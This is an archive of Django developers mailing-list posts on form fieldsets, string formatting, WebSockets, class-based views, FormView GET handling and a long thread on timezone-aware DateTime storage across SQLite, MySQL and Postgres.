Re: New feature: Defining fieldsets in form class (Ticket #17301)
+1 I've often wondered why fieldsets have been possible in the Django admin interface for a while now, but not possible with ModelForms. Looking forward to this. On Nov 27, 12:43 am, Mikołaj Siedlarek wrote: > Hi, > > I've just posted a new ticket with everything the feature proposal needs - > motivation, idea and actual implementation. > > https://code.djangoproject.com/ticket/17301 > > It definitely needs some discussion, so please -- ask, discuss, criticize, > share some thoughts and one day, hopefully +1. :) > > Thanks, -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Python 3 str.format()
Hi folks, Apologies in advance if this topic has already been raised. I don't believe I've seen it on the list since I've been subscribed. Since Django 1.5 has set the minimum version of Python at 2.6, and in conjunction with the push to make Django more Python 3 compatible, should we slowly start migrating to the new format string [1] syntax? The Python docs state that it is the new standard in Python 3, and should be preferred to the old %-style formatting. The %-style was supposed to be deprecated in Python 3.1. Whilst I'm a little vague on whether it's been officially deprecated yet, it is slated to be removed from Python altogether at some point. The new str.format() method is supported by Python 2.6 onwards. 1: http://docs.python.org/library/string.html#format-string-syntax -- You received this message because you are subscribed to the Google Groups "Django developers" group. To view this discussion on the web visit https://groups.google.com/d/msg/django-developers/-/AL3i6DKvsN0J. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Python 3 str.format()
On 24 August 2012 18:12, Carl Meyer wrote: > Can you link to where in the current docs it specifies that %-formatting > is deprecated and/or will be removed? I can't even find, on a cursory > search, where it says the new .format() style should be preferred. It's not easy to find - I've only found the mention of the impending deprecation in the Python 3.0 "What's New" docs - http://docs.python.org/release/3.0/whatsnew/3.0.html#pep-3101-a-new-approach-to-string-formatting However, I can't find followup references to that in the Python 3.1 docs. Maybe the decision was rescinded? Personally I didn't really see anything majorly wrong with the %-style formatting. Being a C developer myself, it was nice to have some common ground and not have to go hunting for format string specifications. This section http://docs.python.org/library/stdtypes.html#str.format states "This method of string formatting is the new standard in Python 3, and should be preferred to the % formatting described in String Formatting Operations in new code." I just thought that if the %-style formatting is indeed earmarked for removal, maybe we should start using the new format sooner rather than later. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Python 3 str.format()
On 24/08/12 22:47, claudep wrote: One more reason not to adopt too quickly this syntax is missing support from gettext. http://savannah.gnu.org/bugs/?30854 Right. That makes up my mind then. I can't afford to be without gettext support. Until gettext supports the newer format, and until I see more of that format in the wild, I'll keep using the printf-style. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: websockets
On Wednesday, April 17, 2013 8:10:15 AM UTC+2, Aymeric Augustin wrote: > > > Yes, that's why https://github.com/aaugustin/django-c10k-demo/ builds > upon Tulip. > > Unfortunately, that choice makes it unsuitable for inclusion in Django > until we drop support for Python 3.3 and all earlier versions, which isn't > going to happen soon. > > There's another issue: Django is designed to be deployed over WSGI, and > WSGI is incompatible with websockets. A new revision of WSGI would help. > > It's encouraging to hear that WebSockets are at least on some sort of hypothetical roadmap. I've been using gevent-socketio in a Django app in small scale production use, for about one year now. One of the biggest drawbacks of WebSockets has been the very slow response from the likes of Apache and Nginx to offer support for them. For this reason, I deployed my setup using a custom worker class in gunicorn (custom, mainly for the reason of supporting SSL). WebSockets are difficult, if not impossible, to (reverse) proxy via traditional means. Apache's mod_proxy certainly doesn't work, nor will any other HTTP 1.0 proxy (of which there are still a few), since the lack the ability to handle the protocol upgrade. I've seen a few abortive attempts at writing simple TCP proxy modules, but often these will do the WebSocket protocol upgrade too early, before it gets to your WSGI app - which is a problem for gevent-socketio at least, since it needs to actually see whether the client is offering a WS protocol upgrade, and choose an alternate transport if not. IIRC, the main reason why "strict" WSGI does not support WebSockets is that WSGI expects to specify the response content length, which is obviously not possible for a long running WebSocket connection. uWSGI are doing some interesting stuff with WebSockets, and since version 1.4, they are supported natively by the uWSGI app server. I've read some reports that mod_uwsgi (for Apache) can also handle WebSockets in an Apache environment. I believe it does this by passing the raw HTTP body through to the WSGI app. Since the uWSGI app server can terminate HTTP/S connections directly though, it would be feasible to run this without any Apache / Nginx at all - although I'm not sure whether this is recommended in a production setup. On the pure Django side of things, one of the challenges I encountered was "IDLE IN TRANSACTION" hanging DB connections in the long-running WebSocket views. I really ought to research a more elegant solution to this, but for now I'm just doing all my DB queries early in the view, then fairly brutally closing the DB connection before entering the long-running WS poll loop. I suspect that manual transaction handling would be a better alternative to this, but it does raise an interesting point - namely, that Django has long been designed for a fairly vanilla request/response method of operation, and may need some rethinking if it is to support long-running connections. Is there any possibility that Tulip could be backported to Python 2.7, or are we kinda past caring about 2.x? -- You received this message because you are subscribed to the Google Groups "Django developers" group. To unsubscribe from this group and stop receiving emails from it, send an email to django-developers+unsubscr...@googlegroups.com. To post to this group, send email to django-developers@googlegroups.com. Visit this group at http://groups.google.com/group/django-developers?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
Migrating to class-based views and django.core.urlresolvers.reverse
I have been tracking the development of class-based views for a few
weeks now, and am just starting to adapt some of my work-in-progress
sites. This post is in a bit of a grey area between django-users and
django-developers, but I'm curious what is suggested for sites that
make heavy use of django.core.urlresolvers.reverse() and {% url %} in
templates.
Obviously with the old function-based views, we could simply do this:
from django.core.urlresolvers import reverse
def my_view(request):
... do something useful ...
return response
my_view_url = reverse('my_app.views.my_view')
And likewise we could also reference that view using the {% url %} tag
in templates.
What is the recommendation for using reverse() and {% url %} when we
migrate to class-based views? So fat the only solution I have come up
with is naming the the URL patterns in urls.py, for example:
urlpatterns = patterns('',
(r'^$', TemplateView.as_view(template_name='main/index.html'), {},
'home'),
)
In the above case, we can now reverse('home') or {% url "home" %} -
but is this the only way? If so, one would have to give some careful
thought to the names of the URL patterns, so that it was readily
obvious what view each named URL actually was. For example, one might
end up using names like "myapp.IndexView" - a pseudo-hierarchical
naming scheme, to essentially bring us back to the place we were with
function-based view names.
I look forward to people's ideas about this...
--
You received this message because you are subscribed to the Google Groups
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/django-developers?hl=en.
Re: Migrating to class-based views and django.core.urlresolvers.reverse
Forgetting namespaces or existing named URL patterns for a moment, the
major difference is that with function-based views, we were giving a
qualified "module.function" parameter to reverse() or {% url %}.
How can we do that with class-based views, without naming every URL
pattern? Or is it not possible?
A side question that's been nagging at me during all this is, will
class-based views become the norm, even in places where we weren't
using function-based generic views? I was using direct_to_template()
in 99% of my views, simply because it was a shortcut for the whole
render_to_response('my_template.html', my_data_dictionary,
context_instance=RequestContext(request)) palaver. In most cases I was
still passing an extra_context, but it was a little bit less
typing ;-)
Another question (sorry - maybe these should be separate posts), how
does one go about using the permission_required() decorator with class-
based views, or something like the following:
@user_passes_test(lambda u: u.is_superuser)
def my_superview(request):
...
return response
Sorry if I'm jumping the gun a little bit. I realise this is a dev
version and is still in flux.
On Dec 7, 2:33 pm, "burc...@gmail.com" wrote:
> Hi Daniel,
>
> I'm not core developer, but I
> thinkhttp://docs.djangoproject.com/en/dev/topics/http/urls/#defining-url-n...
> should be used.
>
> you can use reverse("yournamespace:someview"), and it's also cool to
> do things like this in settings.py:
>
> reverse_lazy = lazy(reverse, str)
> LOGIN_REDIRECT_URL = reverse_lazy('yournamespace:your_main_page')
>
> Perhaps it's not advertised as it should, and people continue to
> invent their tricky namespace schemes...
>
> On Tue, Dec 7, 2010 at 3:42 PM, Daniel Swarbrick
>
>
>
>
>
>
>
>
>
> wrote:
> > I have been tracking the development of class-based views for a few
> > weeks now, and am just starting to adapt some of my work-in-progress
> > sites. This post is in a bit of a grey area between django-users and
> > django-developers, but I'm curious what is suggested for sites that
> > make heavy use of django.core.urlresolvers.reverse() and {% url %} in
> > templates.
>
> > Obviously with the old function-based views, we could simply do this:
>
> > from django.core.urlresolvers import reverse
>
> > def my_view(request):
> > ... do something useful ...
> > return response
>
> > my_view_url = reverse('my_app.views.my_view')
>
> > And likewise we could also reference that view using the {% url %} tag
> > in templates.
>
> > What is the recommendation for using reverse() and {% url %} when we
> > migrate to class-based views? So fat the only solution I have come up
> > with is naming the the URL patterns in urls.py, for example:
>
> > urlpatterns = patterns('',
> > (r'^$', TemplateView.as_view(template_name='main/index.html'), {},
> > 'home'),
> > )
>
> > In the above case, we can now reverse('home') or {% url "home" %} -
> > but is this the only way? If so, one would have to give some careful
> > thought to the names of the URL patterns, so that it was readily
> > obvious what view each named URL actually was. For example, one might
> > end up using names like "myapp.IndexView" - a pseudo-hierarchical
> > naming scheme, to essentially bring us back to the place we were with
> > function-based view names.
>
> > I look forward to people's ideas about this...
>
> > --
> > You received this message because you are subscribed to the Google Groups
> > "Django developers" group.
> > To post to this group, send email to django-develop...@googlegroups.com.
> > To unsubscribe from this group, send email to
> > django-developers+unsubscr...@googlegroups.com.
> > For more options, visit this group
> > athttp://groups.google.com/group/django-developers?hl=en.
>
> --
> Best regards, Yuri V. Baburov, Skype: yuri.baburov, MSN: bu...@live.com
--
You received this message because you are subscribed to the Google Groups
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/django-developers?hl=en.
Re: Migrating to class-based views and django.core.urlresolvers.reverse
That is indeed in the docs, and I have seen that. What eludes me is how to use decorators more complex than login_required() from within urls.py. For example, this works fine: from django.contrib.auth.decorators import user_passes_test from django.utils.decorators import method_decorator from django.views.generic import TemplateView, View class IndexView(TemplateView): template_name = 'index.html' @method_decorator(user_passes_test(lambda u: u.is_superuser)) def dispatch(self, *args, **kwargs): return super(IndexView, self).dispatch(*args, **kwargs) But how would one avoid having to override the dispatch() method on many classes, and put the user_passes_test() decorator in the urls.py definition? Or for that matter, the permission_required() decorator? As a side note, could a mixin be used to setup permission_required, login_required etc, and user-defined class-based views be derived from multiple parent classes? Sorry if this has meandered into django-users land... maybe some advanced CBV examples in the docs? On Dec 7, 6:36 pm, Łukasz Rekucki wrote: > On 7 December 2010 18:08, Daniel Swarbrick wrote: > > Another question (sorry - maybe these should be separate posts), how > > does one go about using the permission_required() decorator with class- > > based views, or something like the following: > > > @user_passes_test(lambda u: u.is_superuser) > > def my_superview(request): > > ... > > return response > > This is in the > docs:http://docs.djangoproject.com/en/dev/topics/class-based-views/#decora... > > PS. As Benjamin already mentioned, I think we're in django-users land now. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-develop...@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
CBV FormView get_form_kwargs() doesn't.... when request.method == "GET"
Most of the time, I use POST for forms, but using GET is useful when
developing a search form, for example. This is especially true if you
want to paginate your results, because you still have all your
original form variables in the query string.
CBV FormView get_form_kwargs() only populates form_kwargs data if the
request is POST or PUT, which means that a GET form will never have
form.is_valid() == True, even thought the supplied query string may
indeed validate all form fields.
Is this by design, or an oversight?
I'm working around this for now by overriding get_form_kwargs() in my
view like so:
def get_form_kwargs(self):
kwargs = {'initial': self.get_initial()}
if self.request.GET:
kwargs['data'] = self.request.GET
return kwargs
If the view is requested with no query string, request.GET will be
empty, and thus kwargs will not have 'data' key. Consequently,
form.is_valid() returns False. If I submit the form though, and the
view is request with a URL query string, kwargs['data'] gets set to
request.GET, and form.is_valid() returns True (if the values satisfy
the various form clean_foo() methods.
--
You received this message because you are subscribed to the Google Groups
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/django-developers?hl=en.
Timezone-aware storage of DateTime
I can almost hear the collective sigh as this topic once again rears up ;-) I am currently developing an app with Django that uses the SQLite backend, and I noticed that Django stores DateTime fields as naive (eg. non TZ-aware), local timestamps, making these databases non- portable to servers running in different timezones. I know this problem has been discussed several times before, but there seems to have been some confusion in the past about how Postgres stores TIMESTAMP values. Postgres's documentation states: "For TIMESTAMP WITH TIME ZONE, the internally stored value is always in UTC... An input value that has an explicit time zone specified is converted to UTC using the appropriate offset for that time zone. If no time zone is stated in the input string, then it is assumed to be in the time zone indicated by the system's [or client connection's] timezone parameter, and is converted to UTC using the offset for the timezone zone." It goes on: "When a TIMESTAMP WITH TIME ZONE value is output, it is always converted from UTC to the current timezone zone, and displayed as local time in that zone." Ok, so we've established that although Postgres TIMESTAMP WITH TIME ZONE is TZ-aware, the internal storage is UTC. This pretty much follows the rule for filesystem timestamps too - convert everything back to UTC for internal storage. MySQL has two column types capable of storing a DateTime - the DATETIME and TIMESTAMP types. The DATETIME type can be likened to a Python naive datetime (or a Postgres TIMESTAMP (without time zone)), whereas the MySQL TIMESTAMP type once again stores values internally as UTC, and when values are retrieved (SELECTed), they are displayed as a local time for the client's current timezone. Let me demonstrate. This was done on a server running the UTC+12 timezone. mysql> SELECT @@global.time_zone, @@session.time_zone; ++-+ | @@global.time_zone | @@session.time_zone | ++-+ | SYSTEM | SYSTEM | ++-+ mysql> create table foo ( col_dt datetime, col_ts timestamp ); mysql> insert into foo values (now(), now()); mysql> select * from foo; +-+-+ | col_dt | col_ts | +-+-+ | 2011-06-01 00:19:43 | 2011-06-01 00:19:43 | +-+-+ Now, if I change the client session's timezone... mysql> set session time_zone = "+02:00"; mysql> select * from foo; +-+-+ | col_dt | col_ts | +-+-+ | 2011-06-01 00:19:43 | 2011-05-31 14:19:43 | +-+-+ The naive DATETIME value is unchanged, and technically now incorrect for the client session's timezone. The TIMESTAMP value has been correctly adjusted however, to represent the same point in time, but in the client session's new timezone. In django.db.backends.postgresql_psycopg2.creation, we can see that a DateTime field type is mapped to a TZ-aware "timestamp with time zone" Postgres column type. However, in django.db.backends.mysql.creation, we can see that the DateTime field type is mapped to a naive "datetime" MySQL column type. Why is this? Ok, the MySQL documentation states that a DATETIME column type can store dates in the range '1000-01-01' to '-12-31'. However the TIMESTAMP column type can only store dates in the range '1970-01-01 00:00:01' UTC to '2038-01-19 03:14:07' UTC, like a true Unix epoch timestamp (seemingly regardless whether it's on 32 bit or 64 bit platform). Postgres on the other hand (even when using a "timestamp with time zone") has a broader range of 4713 BC to 294276 AD. Ok, so it's fairly obvious, MySQL's timestamp support is inferior to that of Postgres. Let's not get sidetracked though. Coming back to the original topic of timestamps in SQLite... One only has to Google for "sqlite timestamp timezone", to see how often developers are bitten by naive timestamp storage - even on iPhones! It seems that a lot of apps store datetimes in SQLite as local, naive values, assuming that that DB is never going to be moved to a different timezone. The way I see it, there are a few options for storage of timestamps in SQLite (whose docs clearly acknowledge that it does not officially support a timestamp column type). 1. Store timestamps as a Unix epoch value (integer). This is fast, and will ensure correct date sorting. On the other hand, it's not really human-friendly if manually browsing table data in SQLite. 2. Store timestamps as a string, but converted to UTC, eg. "2011-05-31 12:19:43". Since the TZ is not obvious from that string, Django would need to be aware that it was UTC, and apply the appropriate offset to convert to a local time. This means adding a dependency like pytz to Django. 3. Store timestam
Re: Timezone-aware storage of DateTime
On Jun 1, 3:16 pm, VernonCole wrote: > On the other hand, I found it necessary to convert date-time values to > ISO format strings in order to feed them to Microsoft ACCESS databases > in some cases, and that works well. But again, as with SQLite, the DB > has no concept of time zones. In the absence of actual time zone > support in the database, any action taken by django is going to > inconvenience somebody, and will likely not be compatible with non- > django use of the same database. Perhaps it would work to store the > pickled tz-aware datetime on brain-damaged databases. But, is it > reasonable to use an application-specific method to extend the > capability of a database engine? The problem with storing pickled datetime objects is that they will most likely not be SQL-sortable. Consider the case of needing to sort a queryset by a timestamp field. This has to be achievable by the SQL backend, especially if it is a large dataset. Requiring Python to unpickle (or otherwise deserialize) a field for each row in a dataset, before doing a list sort, will not be efficient. It would also make it near impossible to do a "delete from foo where timestamp_field < '2011-01-01 12:34:56'" Whilst the idea of storing well formatted timestamp strings that include a UTC offset, it also fails when it comes to doing an SQL "order by". For example: "2011-06-03 01:01:00 +02" "2011-06-03 01:02:00 +08" "2011-06-03 01:03:00 +12" Using an ascending alphabetical sort, the timestamps will be listed in the order above. However, if we convert them to UTC, it becomes clear that the last value in the list is actually the earliest time, when normalized to UTC. "2011-06-03 01:01:00 +02" (2011-06-02 23:01:00 UTC) "2011-06-03 01:02:00 +08" (2011-06-02 17:02:00 UTC) "2011-06-03 01:03:00 +12" (2011-06-02 13:03:00 UTC) So whilst appending the UTC offset on the end is a convenient way of storing it in the same field as the timestamp itself, it leads to sorting errors. I think for this reason, the best option for SQLite may be to always store timestamps as UTC, and require Django to convert them to a local time (based on settings.TIME_ZONE perhaps as a default). That would make the timestamps in the above example sort correctly. That particular example is perhaps a bit extreme, with wildly different UTC offsets in the same table, but consider daylight saving transitions, where, for example, the offset may change from UTC +01 to UTC+02. That would mean that timestamps close to midnight could potentially be incorrectly sorted. Even worse, if you were grouping by a date_trunc function, grouping by month for example, you could end up with records being grouped into the wrong month. Then there is the fun and games when daylight saving finishes, and there is a one hour period where naive, local-TZ timestamps actually repeat, as wall clock jumps back one hour. At least with UTC timestamps, such phenomenon don't occur - same UTC+0 offset, all year round. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
An alternative to perhaps consider is an expanded range Unix epoch- like timestamp. The Postgres timestamp type is stored as a 64 bit integer, with 1 microsecond resolution. SQLite supports storing integers with up to 8 bytes, so it would be feasible to mimic the internal storage of a Postgres timestamp value in SQLite, and it's only a question of mathematics to convert that to a Python datetime. Considering that the SQLite shell is fairly limited, and not that nice to use, I don't think it's terribly important how the values look in a raw SQL select (eg. whether they're human readable or not) so long as they sort correctly, are easy to convert to/from Python types, and can also be handled by SQLite's date/time functions (and general math operations as needed). I suspect that Postgres's timestamp implementation is based on the Julian day, fit into a 64 bit integer. The Julian day is is a measure of "the interval of time in days and fractions of a day since January 1, 4713 BC Greenwich noon" - the same earliest possible date in Postgres. (http://en.wikipedia.org/wiki/Julian_day) -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
On Jun 5, 11:16 pm, Daniel Greenfeld wrote:
> If you store DateTime in another format then what the database is designed
> to deliver, then you don't just lose sorting and search capabilities, you
> also lose the ability for that data to be read and understood trivially by
> other tools besides Django.
The problem in the case of SQLite is that it is not _designed_ to
deliver any kind of timestamp. It simply gets stored as a completely
unintelligent ascii string. Sorting of such fields is alphanumeric,
not chronological, and any date/time functions in SQLite are
essentially doing a strptime() on the string before processing it. I
have no idea why the developers of SQLite chose to omit such an
important field type.
Julian dates are supported by many platforms, including SQLite:
sqlite> select julianday("2011-06-04 12:45:55");
2455717.03188657
...which can easily be stored in SQLite's REAL column type. An IEEE
float can give you about 1 µs resolution for Julian dates. And Julian
dates can be converted back to ISO timestamps:
sqlite> select datetime(2455717.03188657);
2011-06-04 12:45:55
Any DB client that did not have its own Julian date functions can
simply include the conversion in the select query, eg. "select col1,
col2, datetime(col3) from foo".
I realize it's a pretty tall order to expect Django to start storing
DateTime fields as Julian dates in SQLite, because of the backwards
compatibility implications. The cool thing is however, that SQLite's
datetime() function seems to handle a variety of input formats anyway:
sqlite> select datetime(2455717.03188657);
2011-06-04 12:45:55
sqlite> select datetime("2455717.03188657");
2011-06-04 12:45:55
sqlite> select datetime("2011-06-04 12:45:55");
2011-06-04 12:45:55
As a slight digression, I did some experimenting with Python's sqlite3
API to see how it would handle a non-naive datetime object. First, I
inserted a naive datetime, then two non-naive datetimes, two seconds
apart, but in different timezones. The unsorted order was:
sqlite> select * from test;
2011-06-05 00:20:02.788742
2011-06-05 00:20:02.788742+02:00
2011-06-04 17:20:04.793494-05:00
And here we can see the alphanumeric sorting incorrectly place the
chronologically-last timestamp at the start of the list:
sqlite> select * from test order by col1;
2011-06-04 17:20:04.793494-05:00
2011-06-05 00:20:02.788742
2011-06-05 00:20:02.788742+02:00
I think this clearly indicates that datetime objects *must* be
normalized to a single timezone for SQLite, and that timezone should
ideally be UTC. If all timestamps are in the same timezone, they'll at
least sort correctly (albeit still using an alphanumeric sort).
Alternatively, get true numeric/chronological sorting by using a REAL
column type and storing Julian dates. It'll be more storage-efficient
than an ascii string too.
--
You received this message because you are subscribed to the Google Groups
"Django developers" group.
To post to this group, send email to django-developers@googlegroups.com.
To unsubscribe from this group, send email to
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at
http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
On Jun 7, 4:30 pm, Luke Plant wrote: > There seems to be the assumption in other messages in this thread that > Django 'owns' the database. That is not the philosophy Django takes - it In the case of SQLite, it just plain sucks, because the DB is too stupid to support a true timestamp data type. On the other hand, this should have been foreseen when designing the Python SQLite API. I've not read anything about SQLite supporting true timestamps any time soon, so IMHO, something has to take ownership of this problem. Normally I would use Postgres for my Django apps, but I'm developing one in particular that will run on embedded Linux boxes, and they don't have the resource to run Postgres. > globally changing the format of how datetimes are stored in SQLite is > just not an option (at least not until Django 2.0), unless we can > guarantee backwards compatibility with existing data and other apps use > of the data. Backwards compatibility is always going to be a thorny issue for things that were not designed properly in the first place... As I suspected would be the case, I will probably roll my own custom field that handles this correctly, and maybe in a few years time somebody else will raise this issue... again. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
On Jun 28, 3:26 pm, Stephen Burrows wrote: > I agree that it would be nice to be able to store tz-aware datetimes - > but if django were going to do so, it ought to store the datetimes > with the timezone information intact, rather than converting > everything to the project's timezone. So, if a conversion to UTC were > to take place, there would need to be a separate field in the database > to store the timezone. As I've already illustrated earlier in this thread, storing the TZ with the timestamp in a DB that will treat it as a text string (such as SQLite) is going to break chronological SQL sorting. Perhaps contrary to popular misconception, Postgres does not store the TZ in "timestamp with time zone" fields. They are normalized to UTC and stored as Julian dates. The TZ is interpreted on input of a timestamp value, if the entered value is being specified in a TZ other than the client connection's current TZ. The TZ is also displayed in a SELECT of a timestamp field - but the TZ is that of the client connection, not that of the originally inserted value. Storing the TZ in a separate field is going to get pretty nasty for sorting as well, as the query will have to somehow concatenate or compute together the two fields before applying the sorting algorithm. I think the best way to handle multi-TZ timestamps is the way that Unix and other multi-user, multi-timezone OSes have been doing it for decades (mostly wrt to filesystems) - respect the TZ of the client inputting the data, normalize to a common TZ (usually UTC) and store as such. Perform all sorting and timestamp comparison/arithmetic in that single, normalized TZ. Upon output, render the value in the client's TZ. ...and that is essentially what Postgres does. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
On Jun 29, 12:01 pm, Ryan McIntosh wrote:
> Is that a crutch of your database? It isn't something I would ever live
> with. All the *sql database servers I hate have an idea of what a
> timestamp+offset is. Django should leverage this. IMHO, no such field
> should exist in the underlying database but for ticks since epoch if tzs
> aren't supported... Everything useful should be derived if necessar...
I think there is a misunderstanding of UTC and timezones in general in
this thread. If TZ-aware datetime handling were to be added to Django,
it would almost certainly require the pytz module. That module
contains sufficient information to convert any UTC timestamp to any TZ
in the world, dating back sometimes as far as a couple of hundred
years, and reaching forward in the future (pending any future changes
of DST rules for a particular timezone).
It is redundant to store the original TZ in a clip-on field, if the
original input is properly handled. Take for example the following
three timestamps:
'1969-07-20T20:17:40+00:00'
'1969-07-20T16:17:40-04:00'
'1969-07-20T21:17:40+01:00'
They are all the same moment in time. The fact that they are expressed
as different local times is only relevant to the observer. Which one
will a (half-decent) DB engine store? The UTC one. Which one do I want
to show my users? Well, that depends which timezone they live in...
NOT which timezone the data was input.
PS: The timestamp example I've used, incidentally, is the Apollo 11
moon landing. Which timezone was it on the moon? UTC, like most things
in astronomy. Which timezone would TV news channels have reported?
Probably whichever TZ that news channel was broadcast in... all around
the world.
PPS: The moon landing occurred a few months too early to be able to be
stored in a Unix epoch timestamp. That rules out MySQL's "timestamp"
field
With pytz, I can convert any non-naive timestamp to any other TZ that
I need to. And if I have users in multiple timezones, then I most
likely will want to render timestamps in multiple timezones. The only
situation I can think of where timestamps are nearly always expressed
in the local TZ are flight departure/arrivals. And since you would
most likely also be storing the departure/arrival *airport*, you can
deduce from there what TZ the timestamp should be displayed as, in
order to be a "local time".
On Jun 29, 3:59 pm, Sam Bull wrote:
> I think we agree here. I'm suggesting the separate tz field as a
> nice-to-have. I think Django has everything it needs to make DateTimeField
> timezone-aware. It sounds like its already doing the right thing with
> postgresql. It just needs a graceful fallback for other DBs that don't do
> timezones as well.
Django simply sets the client connection TZ (from settings.py) when
connecting to Postgres. From that point on, Postgres will assume that
all naive timestamps Django sends it (which at the moment, is all of
them...) should be interpreted as being in that TZ. Postgres still
stores "timestamp with time zone" fields internally as UTC Julian
dates however. It will also by default render them in a SELECT as the
client connection's timezone. You can however explicitly specific the
TZ when doing an INSERT, eg
insert into foo values ('1999-01-08 04:05:06 -8:00');
You can also convert timestamps explicitly to other timezones in the
Postgres backend itself, using the "AS TIME ZONE" operator. It should
be sufficient however for Postgres to simply return the timestamp+TZ
(*any* TZ), for Python to construct a non-naive datetime with tzinfo
struct.
Believe it or not, MySQL also does things much the same way as
Postgres, when using the MySQL "timestamp" field type. MySQL has a
client connection TZ, and will assume any input timestamps that are
not qualified with a TZ to be in that client connection's TZ. It also
implicitly converts the stored UTC timestamp values to the client
connection's TZ. I gave a clear example of that happening in an
earlier post. BUT Django does not use MySQL's "timestamp" field
type for storing datetime objects - it instead uses the MySQL
"datetime" field type, which does NOT support any concept of TZ...
that is, they are stored as naive datetimes.
The main difference between MySQL's "timestamp" field type and
PostgreSQL's "timestamp with time zone" field type (and indeed also
MySQL's "datetime" field type) is the date range that they support.
MySQL's "timestamp" field type is modeled on Unix epoch timestamps,
and therefore does not support dates earlier than 1 Jan, 1970 00:00:00
UTC. PostgreSQL's "timestamp with time zone" field type on the other
hand is modeled on Julian dates, and supports dates ranging from 4713
BC to 294276 AD (with 1 µs accuracy, I might add). And MySQL's
"datetime" field type supports some bizarre range of
'-00-00' (yes, you really can specify the zero'th day of the
zero'th month... isn't that cool?) to '-12-31'. One can only hope
that Oracle's acquisition of MySQL might one day lead
Re: Timezone-aware storage of DateTime
On Jun 30, 11:06 am, Tom Evans wrote: > That is a domain specific assertion, I don't believe that is true in > all cases. Typically, when we put things into the ORM, we expect to > get the same things out again. If you consider viewing a timeline of a > users activities, we might want to display the datetime of an event in > both the viewing users timezone and the viewees timezone. If that > information is discarded as irrelevant, then we could not do so. I personally find it relatively useless to know what the wall clock time was when something happened in another timezone. I find it more relevant to know what time it was for me, when said event occurred. In most such cases, if the local time of the event was of importance, then the *location* of the event would also be important, and probably stored in the same DB model. If pytz is utilized, then we have a full database of timezones at our disposal, and can derive from a location what the local TZ was in that location at that particular moment in time. More accurately, we can ascertain what the UTC offset was, and whether DST was in effect - since those rules have changed through history, and will continue to change. Western Samoa for example, will move to the other side of the international date line on December 29th this year, effectively jumping from a UTC-11 offset to a UTC+11 offset (skipping an entire day in the process). Whilst such events are rare, it illustrates that it is more useful to store the location of an event, plus have access to the Olson tzdata DB, than to simply store a -11 or +11 offset (which does not indicate whether DST was in effect). "Pacific/Samoa" on the other hand can be looked up in tzdata, which will have an entry stating that from 4 July 1892 until 29 December 2011, Samoa's UTC offset was -11, at which point it changes to +11. For correct chronological sorting of events (which may occur in multiple different timezones), or calculating deltas between timestamps, life is a lot easier if you normalize to a common TZ, eg. UTC, and only apply a local TZ offset when rendering the output to the user. > I could certainly see what you are describing as a specific field - a > NormalizedDateTimeField, which explicitly normalizes to UTC for > storage and to settings.TZ for display - but it shouldn't be the only > way. This is exactly what Postgres is doing internally - normalizing to UTC. It does not, I repeat, does NOT store the TZ. The client connection's TZ is merely dynamically added/subtracted to/from the normalized UTC timestamps coming from the storage backend. The fact that MySQL's datetime field type doesn't normalize to UTC is a question for the MySQL developers... maybe they all came from the same village, and had no need for timezones. > > Cheers > > Tom -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Timezone-aware storage of DateTime
